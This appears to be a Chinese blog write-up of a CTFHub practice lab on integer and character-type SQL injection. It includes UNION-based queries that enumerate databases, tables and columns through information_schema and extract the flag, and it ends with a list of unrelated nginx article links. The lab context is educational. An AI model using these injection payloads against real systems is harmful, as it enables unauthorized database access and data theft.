博客
关于我
CTFHub技能树web-sql注入
阅读量:294 次
发布时间:2019-03-01

本文共 1394 字,大约阅读时间需要 4 分钟。

整数型注入

sql语句 作用
select * from news where id=1 order by 1 猜解字段数,有数据返回则该数据库字段数为多少
select * from news where id=1 and 1=2 union select 1,database() union联合查询,database()查询数据库名
select * from news where id=1 and 1=2 union select 1,group_concat(table_name)from information.schema.tables where table_schema=‘sqli’ table_name表名,table_schema数据库名,information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,该库中存储一些表,如tables表,columns表等
select * from news where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ column_name列名
select * from news where id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag 根据数据库的表获得flag字段中的内容

在这里插入图片描述

字符型注入
一、判断是否存在注入

二、判断select语句中有几列

三、判断显示的信息是第几列的信息

四、利用函数来收集数据库信息

五、通过union查询数据库

1、获取所有数据库名称

2、查询数据库中有多少个表

3、查询指定数据库中的表名

4、查询指定数据库指定表中的列名

5、查询指定数据库指定表的列的内容

详细过程参考
https://blog.csdn.net/sinat_36711025/article/details/104857541?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522161034725116780264039182%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fall.%252522%25257D&request_id=161034725116780264039182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v29-3-104857541.pc_search_result_cache&utm_term=websql%E6%B3%A8%E5%85%A5%E5%AD%97%E7%AC%A6%E5%9E%8B%E8%AF%AD%E5%8F%A5
手工
和整数型一样,先进行正常查询
在这里插入图片描述然后查询数据库名称
在这里插入图片描述查询sqli库的表名
在这里插入图片描述
查询sqli库中flag表的字段名称
在这里插入图片描述查询flag
在这里插入图片描述

你可能感兴趣的文章
Nginx Lua install
查看>>
nginx net::ERR_ABORTED 403 (Forbidden)
查看>>
vue中处理过内存泄露处理方法
查看>>
Nginx RTMP 模块使用指南
查看>>
Nginx SSL 性能调优
查看>>
nginx ssl域名配置
查看>>
Nginx SSL私有证书自签,且反代80端口
查看>>
Nginx upstream性能优化
查看>>
Nginx 中解决跨域问题
查看>>
nginx 代理解决跨域
查看>>
Nginx 做负载均衡的几种轮询策略分析
查看>>
Nginx 入门,一篇搞定!
查看>>
Nginx 利用代理转发请求示例
查看>>
Nginx 动静分离与负载均衡的实现
查看>>
Nginx 反向代理 MinIO 及 ruoyi-vue-pro 配置 MinIO 详解
查看>>
nginx 反向代理 转发请求时,有时好有时没反应,产生原因及解决
查看>>
Nginx 反向代理+负载均衡
查看>>
Nginx 反向代理解决跨域问题
查看>>
Nginx 反向代理配置去除前缀
查看>>
nginx 后端获取真实ip
查看>>